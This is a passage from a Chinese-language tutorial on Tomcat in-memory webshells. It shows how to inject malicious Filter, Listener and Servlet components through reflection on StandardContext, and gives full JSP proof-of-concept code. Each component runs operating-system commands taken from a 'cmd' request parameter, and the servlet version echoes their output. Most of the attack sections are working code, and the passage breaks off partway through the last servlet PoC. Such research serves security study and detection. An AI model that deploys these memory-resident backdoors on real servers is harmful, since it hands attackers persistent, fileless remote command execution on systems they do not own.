standardContext.addFilterDef(filterDef);

可以和前面补充里给出的相对应的filteDefs的图片对比一下,大概就能知道这里使用的方法是干嘛的。

filterMaps

这个类位于org.apache.tomcat.util.descriptor.web.FilterMap,在这里我们需要实例化一个FilteMap对象,并将filteMap添加到所有filte最前面:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
FilterMap filterMap = new FilterMap();
//设置拦截路由
filterMap.addURLPattern("/*");

//name=badFilter
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//添加我们的filterMap到所有filterr最前面
standardContext.addFilterMapBefore(filterMap);

这里重点解释一下filterMap.setDispatcher(DispatcherType.REQUEST.name());,这个方法是用来设置FilterMap的当前状态,该状态表示何时应用过滤器。在这里表示一个直接的客户端请求,也就是当用户直接请求一个资源或者重定向到达该资源时,会触发过滤器。

filterConfig

filterConfigs中存放filterConfig的数组,并且从前面补充板块的图中,可以看出filterConfig中存放有filterDef和filte对象等信息。

先获取当前filterConfigs信息:

1
2
3
Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map)configs.get(standardContext);

再通过反射获取ApplicationFilterConfig的构造器并初始化:

1
2
3
Constructor constructor1 = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor1.setAccessible(true);
Object o = constructor1.newInstance(standardContext,filterDef);

然后就是将这个实例化的ApplicationFilterConfig放进filterConfigs中,如下:

1
2
//name=badFilter
filterConfigs.put(name,o);

至此就已经全部分析完了。

动态注入

结合前面的分析,其实已经比较清楚了。总结的流程如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
//获取ApplicationContext类型的context
    ServletContext facade = request.getSession().getServletContext();
    Field field0 = facade.getClass().getDeclaredField("context");
    field0.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field0.get(facade);

//获取StandardContext类型的context
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);

//创建恶意filter
    Filter evilFilter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            String cmd;

            if ((cmd = servletRequest.getParameter("cmd")) != null) {
                Runtime runtime = Runtime.getRuntime();
                runtime.exec(cmd);
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }
        @Override
        public void destroy() {

        }
    };


//设置基本的预定义的filtername
  String name = "badFilter";

//创建filterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(evilFilter.getClass().getName());
    filterDef.setFilter(evilFilter);

    standardContext.addFilterDef(filterDef);

//创建filterMap
    FilterMap  filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());

    standardContext.addFilterMapBefore(filterMap);

//创建filterConfig所需的ApplicationFilterConfig
    Constructor constructor1 = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor1.setAccessible(true);
    Object o = constructor1.newInstance(standardContext,filterDef);

//放入filterConfigs
    Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
    configs.setAccessible(true);
    Map filterMaps = (Map)configs.get(standardContext);

    filterMaps.put(name,o);
最终POC

injection.jsp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<%--
  Created by IntelliJ IDEA.
  User: ASUS
  Date: 2024/9/1
  Time: 13:34
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.String" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    //获取ApplicationContext类型的context
    ServletContext facade = request.getSession().getServletContext();
    Field field0 = facade.getClass().getDeclaredField("context");
    field0.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field0.get(facade);

//获取StandardContext类型的context
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);

//创建恶意filter
    Filter evilFilter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            String cmd;

            if ((cmd = servletRequest.getParameter("cmd")) != null) {
                Runtime runtime = Runtime.getRuntime();
                runtime.exec(cmd);
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }
        @Override
        public void destroy() {

        }
    };


//设置基本的预定义的filtername
  String name = "badFilter";

//创建filterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(evilFilter.getClass().getName());
    filterDef.setFilter(evilFilter);

    standardContext.addFilterDef(filterDef);

//创建filterMap
    FilterMap  filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());

    standardContext.addFilterMapBefore(filterMap);

//创建filterConfig所需的ApplicationFilterConfig
    Constructor constructor1 = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor1.setAccessible(true);
    Object o = constructor1.newInstance(standardContext,filterDef);

//放入filterConfigs
    Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
    configs.setAccessible(true);
    Map filterMaps = (Map)configs.get(standardContext);

    filterMaps.put(name,o);
 //加上提示
    out.println("success inject");
%>

然后开启服务器,访问一下injection.jsp:

image-20240901142543173

随后就可以任意命令执行了:

image-20240901142617267

并且这个内存马是一直存在的,直到这个tomcat服务器关闭。

还有需要注意的就是tomcat7 与 tomcat8 在FilterDef和FilterMap这两个类所属的包名不一样:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<!-- tomcat 8/9 -->

<% page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>

<% page import = "org.apache.tomcat.util.descriptor.web.FilterDef" %>

 

<!-- tomcat 7 -->

<%@ page import = "org.apache.catalina.deploy.FilterMap" %>

<%@ page import = "org.apache.catalina.deploy.FilterDef" %>

Listener型内存马

listener能够监听事件从而达成一些此熬过。在请求网站的时候,程序先执行listener监听器的内容: Listener -> Filter -> Servlet

LIstenerr 三个域对象:

1
2
3
ServletContextListener  //服务器启动和终止时触发
HttpSessionListener     //有关session操作时触发
ServletRequestListener  //访问服务时触发

毫无疑问,这里最好用的就是SerrvletRequestListener,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。

基本Listener构造

要构造listener必须实现EventListener接口。这个接口的定义如下:

image-20240901153240871

很多类都继承了这个接口。如果我们想要实现内存马就需要找一个每个请求都会被触发的Listener

在这里需要用到的是ServletRequestListener接口,如下: image-20240901153656529

这个接口中的方法用于监听ServletRequest对象的创建的销毁,从前面的学习中,我们很容易知道这里的ServletRequest就是请求的“对象”。

当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。

简单测试一下: Listener.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class Listener implements ServletRequestListener{
    
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("执行了销毁");
    }

    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("执行了创建");
    }
    
}

web.xml

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <listener>
        <listener-class>listener.Listener</listener-class>
    </listener>
</web-app>

启动tomcat后,就会触发Listener的监听请求,访问任意的路径都会触发:

image-20240901154743206

上面是在开启时进行的两次创建销毁,下面就是我随便输的访问路径执行的一次创建销毁。

Listener流程分析
应用运行前

这里需要了解一个知识点,tomcat在启动应用的时候,ContextConfig类会去读取配置文件

所以我们直接去ContextConfig类里面去看一下,直接定位到一个方法: image-20240901160041840

可以看到这里读取了webxml。

这个方法主要就是读取数据,简单看看其中的方法,读取了filter等组件:

image-20240901160547803

调用了addFilterDef()方法来放入读取出来的filterDef。

————

在这里我们主要关注listener的读取,直接关键字搜索发现有如下方法:

image-20240901160722963

打断点看一下这里的参数情况: image-20240901160944447

这里的context确实是StandardContext的实例,并且这里的webxml确实是有我们自定义的listener的: image-20240901161645864

正好对应了我们并没有在web.xml中定义filter,所以这是就是读取的我们自定义的web.xml中的数据。

————

上述就是读取配置文件,里面加载了Listener。在读取完配置文件后,中间还有一大部分过程略过,最后会调用StandardContext的listenerStart()方法,这个方法做了一些基础的安全检查,然后完成start业务。

应用运行过程

我们直接打断点自定义listener()方法的requestInitialized()方法,然后调试:

image-20240901164446842

来看现在的调用栈: image-20240901164522263

定点于标重点部分,调用的fireRequestInitEvent()方法:

image-20240901164825329

这里就调用到了requestInitialized()方法

在这个fireRequestInitEvent()方法最开始的地方调用了一个getApplicationEventListeners()方法:

image-20240901170537558

这个方法就是获取所有的Listener对象,打断点来看一下: image-20240901171655933

获取到了我自定义的Listener类。

如果有多个listener,代码在后面也是使用了for循环来分别初始化Listener

并且在这个StandardContext中:

  • 前面那个getApplicationEventListeners()方法其实可以算作是listener的”getter方法“,

  • 并且StandardContext类还提供了“setter方法”,setApplicationEventListeners()

image-20240901170941090

所以我们可以尝试向StandardContext的变量applicationEventListenersList中添加一个恶意Listener。

注入过程

先获取当前环境的StandardContext对象

1
2
3
4
5
6
7
ServletContext servletContext = request.getSession().getServletContext();
    Field field0 = servletContext.getClass().getDeclaredField("context");
    field0.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);

准备一个恶意Listener

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
ServletRequestListener badListener = new ServletRequestListener(){
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("销毁");
        }
        public void requestInitialized(ServletRequestEvent sre) {
            ServletRequest request = (ServletRequest)sre.getServletRequest();
            String shell = request.getParameter("cmd");
            if(shell != null){
                try {
                    Runtime.getRuntime().exec(shell);
                } catch (IOException e) {
                    e.printStackTrace();
                }

            }
        }
    };

两个点说明一下:

  • badListener 为什么是ServletRequestListener型

还是从fireRequestInitEvent()方法说明:

image-20240901175538406

已经很好理解了,instances即listener“合集”,这里if判断必须是ServletRequestListener型才能成功调用到listener中的requestInitialized()方法。

  • listener中还实现了一次类型转换

这是必要的,因为ServletRequest一般我们利用的request就是这个类型。在这里调用的ServletRequestEvent类的getServletRequest()方法如下: image-20240901192516778

就是获取的ServletRequest类型的request。

注入恶意代码

这里就是利用前面说过的setApplicationEventListeners()方法,需要注意的是这个方法接收一个Object数组: image-20240901193828863

所以需要将badListener设置为数组形式直接将前面设计好的listener加进去即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//获取StandardContext对象
    ServletContext servletContext = request.getSession().getServletContext();
    Field field0 = servletContext.getClass().getDeclaredField("context");
    field0.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);
//编写恶意listener
    ServletRequestListener badListener = new ServletRequestListener(){
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("销毁");
        }
        public void requestInitialized(ServletRequestEvent sre) {
            ServletRequest request = (ServletRequest)sre.getServletRequest();
            String shell = request.getParameter("cmd");
            if(shell != null){
                try {
                    Runtime.getRuntime().exec(shell);
                } catch (IOException e) {
                    e.printStackTrace();
                }

            }
        }
    };
//注入恶意代码
    standardContext.setApplicationEventListeners(new Object[]{badListener});

还有的就是我看其他师傅的文章,注入恶意listener时好像都是用的addApplicatioinEventListener()方法,如下: image-20240901200742920

只是我这里用的setApplicationEventListeners(): image-20240901200833218

最终POC

加入到jsp中就是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    //获取StandardContext对象
    ServletContext servletContext = request.getSession().getServletContext();
    Field field0 = servletContext.getClass().getDeclaredField("context");
    field0.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);
//编写恶意listener
    ServletRequestListener badListener = new ServletRequestListener(){
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("销毁");
        }
        public void requestInitialized(ServletRequestEvent sre) {
            ServletRequest request = (ServletRequest)sre.getServletRequest();
            String shell = request.getParameter("cmd");
            if(shell != null){
                try {
                    Runtime.getRuntime().exec(shell);
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    };
//注入恶意代码
    standardContext.setApplicationEventListeners(new Object[]{badListener});
//提示
    out.println("注入成功");
%>

然后访问injection.jsp: image-20240901194707829

成功注入,再随便请求资源加上参数: image-20240901194757468

成功命令执行。

——————

如果用addApplicationEventListener()方法的话就是如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    //获取StandardContext对象
    ServletContext servletContext = request.getSession().getServletContext();
    Field field0 = servletContext.getClass().getDeclaredField("context");
    field0.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);
//编写恶意listener
    ServletRequestListener badListener = new ServletRequestListener(){
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("销毁");
        }
        public void requestInitialized(ServletRequestEvent sre) {
            ServletRequest request = (ServletRequest)sre.getServletRequest();
            String shell = request.getParameter("cmd");
            if(shell != null){
                try {
                    Runtime.getRuntime().exec(shell);
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    };
//注入恶意代码
    standardContext.addApplicationEventListener(badListener);
//提示
    out.println("注入成功");
%>

还是先访问jsp文件,再请求资源并进行命令执行: image-20240901201216008

成功执行。

Sevlet型内存马

同样的以一个简单的servlet来分析一下流程。

web.xml:

1
2
3
4
5
6
7
8
<servlet>
    <servlet-name>ServletTest</servlet-name>
    <servlet-class>Servlet.ServletTest</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>ServletTest</servlet-name>
    <url-pattern>/servlet</url-pattern>
</servlet-mapping>

ServletTest.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package Servlet;

import javax.servlet.*;
import java.io.IOException;
import java.util.Scanner;
import java.io.InputStream;
import java.io.PrintWriter;
import javax.servlet.annotation.WebServlet;

@WebServlet(value = "/servlet",name = "ServletTest")
public class ServletTest implements Servlet {
    public void init(ServletConfig var1) throws ServletException{

    }

    public ServletConfig getServletConfig(){
        return null;
    }

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException{
        System.out.println("servlet启动");
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    public String getServletInfo(){
        return null;
    }

    public void destroy(){

    }
}

执行一下可以成功进行命令执行:

image-20240902145647422

这里的继承关系:

1
2
3
4
5
6
7
Interface Servlet, ServletConfig
abstract class GenericServlet
class HttpServlet
自定义 Servlet
调试分析

这里改成了maven项目来学习,将.class文件改为了.java文件

调试分析servlet的加载过程

org.apache.catalins.core.StandardContext类的startInternal()方法中,首先调用了listenerStart(),接着是filterStart(),最后是loadOnstartup()。这三处调用触发了Listener、Filter、Servlet的构造加载。

这里主要分析Servlet的加载,现在打断点于loadOnstartup()方法

image-20240903122950573

前面也说过了,在Container中的四个容器是存在父子关系的,而StandardContext是Context的实现类,所以这里很有可能这里的findChildren()方法就是寻找wrapper,也就是Sevlet。进入这个findChildren()方法: image-20240903123019133

进入到了StandardContext类的父类ContainerBase类,children变量的定义为:

image-20240903123114084

children是一个HashMap类实例,这里调用HashMap类的values()方法用来获取到HashMap中的value的集合。看一下这里的输出结果:

image-20240903123307699

这里有三个,一个default和JSP,应该都是自带的,在这里还可以看到我们自定义的ServletTest,基本可以确定这里的children就是存储Servlet的地方。

所以这里的findChildren()方法就是获取到Servlet的Container类型的数组并返回

————

再回到loadOnStartup()方法,方法定义如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public boolean loadOnStartup(Container children[]) {

        // Collect "load on startup" servlets that need to be initialized
        TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
        for (Container child : children) {
            Wrapper wrapper = (Wrapper) child;
            int loadOnStartup = wrapper.getLoadOnStartup();
            if (loadOnStartup < 0) {
                continue;
            }
            Integer key = Integer.valueOf(loadOnStartup);
            map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
        }

        // Load the collected "load on startup" servlets
        for (ArrayList<Wrapper> list : map.values()) {
            for (Wrapper wrapper : list) {
                try {
                    wrapper.load();
                } catch (ServletException e) {
                    getLogger().error(
                            sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
                            StandardWrapper.getRootCause(e));
                    // NOTE: load errors (including a servlet that throws
                    // UnavailableException from the init() method) are NOT
                    // fatal to application startup
                    // unless failCtxIfServletStartFails="true" is specified
                    if (getComputedFailCtxIfServletStartFails()) {
                        return false;
                    }
                }
            }
        }
        return true;

    }

通读一下,还是比较好看懂的:

  • 先定义一个TreeMap类,然后使用for循环遍历传入的children变量,然后对对象调用getLoadOnStartup()方法:

image-20240903130437831

也就是直接返回loadOnStartup,如果loadOnStartup < 0,就会直接进行下一个for循环,那么这里的loadOnstartup是什么?

其实就是StandardWrapper类的一个变量,当是一个负数或者没有指定时,则表示服务器在该servlet被调用时才加载,我们点开这里的children:

在服务器自带的servlet中为:

image-20240903125643619

在我自定义的Servlet中为:

image-20240903125603936

可以看出如果是我自定义的servlet,那么是肯定不会被加载的。但是这里的loadOnStartup其实是 web.xml 配置 Servlet 时的一个配置:

1
<load-on-startup>1</load-on-startup>

并且在StandardWrapper类中还有个设置loadOnStartup值的方法: image-20240903130737807

————————

  • 然后回到loadOnStartup()方法:

image-20240903131357513

如果条件允许,则会将这个wrapper放入到一个ArrayList型的map,再然后又调用for循环遍历这个map并调用load()方法加载。

继续跟进这个load()方法: image-20240903132319618

这里调用了loadServlet()方法:

image-20240903133237852

重点就是我标注出来的东西,这里通过servletClass变量来装载servlet,并且这个方法最后就是返回这个servlet。

继续分析这个loadServlet()后续代码:

在后面还执行了一次初始化操作: image-20240903152933417

注意这里将装载后的servlet传进去了,继续跟进这个initServlet()方法:

image-20240903160859192

会调用servlet的init()方法,在这里就是自带的DefaultServlet类的init()方法: image-20240903161500123

完成初始化操作。同样的如果我们自定义的ServletTest可以满足loadOnStartup>=0,那么同样的会调用到这个init()方法用于初始化这个servlet。自己试了一下,web.xml改为如下即可:

1
2
3
4
5
6
7
8
9
<servlet>
    <servlet-name>ServletTest</servlet-name>
    <servlet-class>Servlet.ServletTest</servlet-class>
    <load-on-startup>1</load-on-startup>
  </servlet>
  <servlet-mapping>
    <servlet-name>ServletTest</servlet-name>
    <url-pattern>/servlet</url-pattern>
  </servlet-mapping>

可以自己调调,亲测可行。

————

在调用完init()方法后,还有个点说明一下: image-20240903161818402

后面还有一个将这个instanceInitialized赋值为true的语句。在前面这里的Wrapper的这个值都是false,只有这里才会将其改为true

————

然后继续回到load()方法: image-20240903143729676

调试了一下

  • 第一个if条件,不会进入,这个也是上面才说明的,有一串代码对其赋值: image-20240903151529989

所以第一个if语句是不会进入的

  • 第二个if条件中的isJspServlet就是判断是不是服务器自带的JSPServlet,不是就不会进入。

OK,servlet加载过程分析完毕。

在上面提到了几个重要的点:

  • 在StardardContext调用findChildren()获取到Containter[],然后for循环遍历得到wrapper,并对其进行load()操作

  • 在load()操作中,有两个点需要注意,一个是这个wrapper的loadOnStartup需要>=0

  • 还有个点就是利用到了servletClass,使用这个方法获取到了相对应的Servlet类

——————

调试分析servlet的初始化过程

在前面其实说明了比如要用到loadOnStartup、servletClass等变量,但是并没有说到怎么对这些变量进行赋值。这个板块主要就是用于解决这个问题。

在 StandardWrapper#setServletClass() 方法处下断点,开始调试:

image-20240903185901178

可以看出在第一次启动时还是先初始化的自带的DefaultServlet,此时的部分调用栈:

image-20240903190017339

我们回溯到ContextConfig#configureContext()方法,简单看看,基本可以看出就是在读取web.xml中的数据:

image-20240903190616385

这里的context定义: image-20240903193547405

个人理解可以将其看作context实现类StandardContext类的实例。

再看一下其中的一些方法:

image-20240903190309095

可以看出这里就是在整个tomcat初始化过程中对filter和listener的初始化。但这里的重点还是servlet: image-20240903190959312

这里调用了几个关键函数:createWrapper()、、setServletClass()。先来看createWrapper()方法,在这里打一个断点调试,进入到了StandardContext类的createWrapperr()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@Override
    public Wrapper createWrapper() {

        Wrapper wrapper = null;
        if (wrapperClass != null) {
            try {
                wrapper = (Wrapper) wrapperClass.getConstructor().newInstance();
            } catch (Throwable t) {
                ExceptionUtils.handleThrowable(t);
                log.error(sm.getString("standardContext.createWrapper.error"), t);
                return null;
            }
        } else {
            wrapper = new StandardWrapper();
        }

        synchronized (wrapperLifecyclesLock) {
            for (String wrapperLifecycle : wrapperLifecycles) {
                try {
                    Class<?> clazz = Class.forName(wrapperLifecycle);
                    LifecycleListener listener = (LifecycleListener) clazz.getConstructor().newInstance();
                    wrapper.addLifecycleListener(listener);
                } catch (Throwable t) {
                    ExceptionUtils.handleThrowable(t);
                    log.error(sm.getString("standardContext.createWrapper.listenerError"), t);
                    return null;
                }
            }
        }

        synchronized (wrapperListenersLock) {
            for (String wrapperListener : wrapperListeners) {
                try {
                    Class<?> clazz = Class.forName(wrapperListener);
                    ContainerListener listener = (ContainerListener) clazz.getConstructor().newInstance();
                    wrapper.addContainerListener(listener);
                } catch (Throwable t) {
                    ExceptionUtils.handleThrowable(t);
                    log.error(sm.getString("standardContext.createWrapper.containerListenerError"), t);
                    return null;
                }
            }
        }

        return wrapper;
    }

调试一下,会发现这里的wrapper会被赋值为 StandardWrapper 类实例: image-20240903191921492

返回结果为

image-20240903191946678

这个方法的重点也就是这个,可以将一个变量赋值为StandardWrapper类实例(其实也就是对应一个Servlet)。

然后给这个wrapper设置内部值: image-20240903192431695

分别说明一下:

  • 调用了setLoadOnStartup()方法设置loadOnStartup变量,
  • 调用setName()将ContainerBase类中的变量name赋值为一个值:

image-20240903192943753

  • 调用setServletClass()方法设置servletClass变量的值:

image-20240903193342916

再继续往后面看: image-20240903193818443

当程序把这个Wrapper(理解为一个Servlet)设置好了后,将其加入到context的“子容器”中。重点关注addChild()方法和addServletMappingDecoded()方法,下面来分别进入看一下:

  • addChild():

image-20240903195201588

前面的代码就是判断是不是自带的jspServlet,这里是自带的DefaultSerrvlet,自然不是,重点是下面调用父类ContainerBase的addChild()方法,进入:

image-20240903195650675

会调用addChildInternal()方法: image-20240903200058116

重点还是如下代码: image-20240903200132241

先说明一下这里的if条件,这里需要程序对传进去的child使用getName()时的有回显,否则直接丢出异常:

image-20240903204644579

所以在前面说明的setName()函数设置名称还是非常有必要的。

再就是if语句过后,先是给child设置了父类,在下面也可以看到相关值的情况。

然后前面也说过了,这里的children是一个HashMap类实例,所以这里就是调用了put方法放进键值,和前面分析servlet加载流程的findChildren()方法形成闭环。

  • addServletMappingDecoded():

image-20240903201855849

跟进一下getServletMappings()方法,返回了关键字servletMappings:

image-20240903203725059

搜一下这个关键字,可以看到一个非常有用的信息: image-20240903203804191

这里也有getValue()等函数,

所以可以很清楚地知道前面的for循环就是遍历web.xml中的servlet-mapping的servlet-name和对应的url-pattern,然后调用addServletMappingDecode()方法形成映射。

——————

大概分析完毕,现在就是来尝试构造一下POC。

总结一下在这一板块遇到的知识点:

  • 可以借鉴这里源码的方法,使用createWrapper()方法来创建一个Wrapper实例
  • 然后再对其使用各种方法来“充实”里面的变量以达到在加载时可以调用出恶意Servlet
注入过程

恶意Servlet源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Servlet badServlet = new Servlet(){
        public void init(ServletConfig var1) throws ServletException{

        }

        public ServletConfig getServletConfig(){
            return null;
        }

        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException{
            System.out.println("servlet启动");
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }

        public String getServletInfo(){
            return null;
        }

        public void destroy(){

        }
    };

获取StandardContext对象

1
2
3
4
5
6
7
ServletContext  servletContext = request.getSession().getServletContext();
    Field field0 = servletContext.getClass().getDeclaredField("context");
    field0.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);

创建Wrapper

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
//预设置Servlet名称
    String name = "123"; //名称随便
//获取StandardWrapper
    Wrapper wrapper = (Wrapper)standardContext.createWrapper();
//相关配置
    wrapper.setName(name);
    wrapper.setLoadOnStartup(1);
    //wrapper.setServletClass(name); //有无无所谓
    wrapper.setServlet(badServlet); //重点设置为Wrapper点在这里

//将其加入到当前环境的StandardContext中
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/servlet",name);
最终POC
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.PrintWriter" %>
